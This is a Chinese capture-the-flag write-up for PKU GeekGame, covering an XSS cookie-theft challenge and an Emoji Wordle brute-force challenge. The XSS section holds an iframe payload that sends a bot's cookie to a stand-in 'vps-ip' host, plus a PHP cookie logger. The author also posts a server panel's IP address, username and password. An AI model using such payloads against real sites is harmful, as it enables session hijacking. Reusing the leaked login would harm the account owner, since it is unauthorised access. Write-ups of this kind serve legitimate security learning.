PKU GEEKGAME Writeup

PKU GEEKGAME

1.第三新XSS

首先要和内网交互,所以公网应该是少不了的,这次嫖华为云去了()

一开始我用nginx搭了个默认页面,但是解析不了php(即访问php文件就自动下载源文件),配环境难如登天,纯用JS也要appendChild什么的,再者还有还有限制,在后面细说

后来我就尝试nc监听,让网页发送GET请求,但是document.cookie一直读的是空,就算用XSS Bot执行payload也是读的空,我就有点没太搞明白,查了查资料,问了问chatgpt说是有这几种可能

1.HttpOnly=True

2.Secure Cookie

3.不同域读取?(

4.SameSite(这个是真没听过)
结合了下题干,红字是所有人共享一个网站,所以可能是SameSite???

总之在纯净nginx碰壁之后,我把纯净centOS换成宝塔了,还是懒人适合我(

外网面板地址: https://121.36.15.50:18059/c8f3f7ae
内网面板地址: https://192.168.0.249:18059/c8f3f7ae
username: ihij0ih3
password: 95c36d63

上面这个是秘密(到时候给删了,做题先留着

希望宝塔的打包环境能来点作用,最近CTF比赛有点多,我好想实践一下docker,但是老是没有时间

background knowledge:

cookie的SameSite属性

1.Strict 完全禁止第三方Cookie,跨站点时,任何情况都不会发送Cookie

2.Lax 少数情况发送第三方Cookie,详见下图

3.None 始终发送第三方Cookie

用宝塔也试了一下document.cookie,果然还是不行

我看StackOverflow上说读不到就是HttpOnly,应该不是SameSite的问题了

————————————————分割线——————————————————

唉,有点想缴械投降了,确实脑洞不够大,很多东西都是一知半解,或者说是根本不懂

javascript也没想象中那么了解,更有新的typescript,XSS也是根本一点也不懂

给我的挫败感有点强了,虽然其实我自己确实是懒,脚本不想写,总想着小聪明

唉,什么时候才能改掉这个不爱写脚本的坏习惯呢,我连怎么http发送请求都还不熟悉

唉,唉,唉

第二阶段咯,有hint了我终于不用坐牢啦哈哈哈

好玩好玩,好玩好玩,好玩好玩,好玩好玩,好玩好玩,太好玩啦哈哈哈哈哈哈

Level 1

参考MCN:

https://developer.mozilla.org/en-US/docs/web/api/document/cookie#security

参考blog:

https://juejin.cn/post/7127916577684471845

咳咳,回归正题,XSS.py里原来设置了Cookie的path,导致不同目录不能读到Cookie,

得用iframe+contentDocument.cookie,因为iframe算是独立的一个窗口,与另一个目录通信

注意一点,得先iframe.onload=function(){ },才能读到iframe里的数据

1
2
3
4
5
6
7
8
payload:
<iframe src="http://prob99-ch243r4h.geekgame.pku.edu.cn/admin"></iframe>
<script>
var iframe = document.getElementsByTagName('iframe')[0];
iframe.onload=function(){
document.write('<img src="http://vps-ip/getcookie.php?cookie='+iframe.contentDocument.cookie+'"width=0 height=0>');
}
</script>
1
2
3
4
5
6
7
8
9
getcookie.php:
<?php
$cookie = $_GET['cookie'];
$ip = getenv ('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$fp = fopen("cookie.txt","a");
fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");
fclose($fp);
?>

如果没有vps的话,修改当前目录下的title应该也是可以的

Level 2

…未完待续

2.Emoji Wordle

顾名思义,就是emoji外国猜字谜,先介绍一下规则

输入n个emoji符号,会返回n个三种颜色的方块

1.若返回红色方块,说明对应位置的emoji不存在于答案中

2.若返回黄色方块,说明对应位置的emoji在答案中,但是位置错误

3.若返回绿色方块,说明对应位置的emoji在答案中,且位置正确

Level 1

简单看了下源码,改了results和localStorage,发现无果,说明没有检查这些鸟玩意

把Cookie拿去解析了下,就只有level和时间戳,改level无果,时间戳干嘛用不知道(

题目说答案是固定的,所以就直接爆破了,以下是python源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import re

url = "https://prob14.geekgame.pku.edu.cn/level3?"
headers={
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
}
param = {
'guess': "?123"
}
cookie_d={
'PLAY_SESSION':"eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImxldmVsIjoiMyIsInN0YXJ0X3RpbWUiOiIxNjk3NjI3MzAyNjc5IiwicmVtYWluaW5nX2d1ZXNzZXMiOiIyIiwic2VlZCI6IjEuMjQ2MTQ1ODQxMjk2MzFFMTIifSwibmJmIjoxNjk3NjI3MzA3LCJpYXQiOjE2OTc2MjczMDd9.eMLRy1PQPp-kkJUaWVz_bDk5CkGcM_D8DIqOqB_TGcM"
}
res = requests.get(url=url,params=param, headers=headers,cookies=cookie_d)
res.encoding = "utf-8"
text = res.text
pattern=r'<input name=guess placeholder="(.*?)">'
# patternt=r'results.push("(.*?)")'
matching=re.search(pattern,text)
# matchingt=re.search(patternt,text)
print(text)
emoji=matching.group(1)
print(emoji)
# result=matchingt.group()
print(text[516:580])
count=0
green='🟩'
list1=['0']*64
emojilist=[]
while '0' in list1:
for i in range(64):
if emoji[i] not in emojilist:
emojilist.append(emoji[i])
s=emoji[i]*64
param={'guess': s}
rest = requests.get(url=url, params=param, headers=headers, cookies=cookie_d)
rest.encoding="utf-8"
textt = rest.text
temp=textt[516:580]
count=count+1
print(count, temp)
for j in range(64):
if temp[j]==green:
list1[j]=emoji[i]
emoji=re.search(pattern,textt).group(1)
print(list1)

如果要复现,可能得改下Cookie(真能复现嘛…)

返回的方块我用我仅可能有的一点正则表达式的知识也没截取到

但是emoji我都能截到,这到底是什么问题呢???

Level 2

非常没有含金量的一题

直接把Cookie拿去jwt解析就好了,target的值就是答案,一输,flag就有了

Level 3

…未完待续


PKU GEEKGAME Writeup
http://example.com/2023/11/13/PKU GEEKGAME/
作者
Jednersaous
发布于
2023年11月13日
许可协议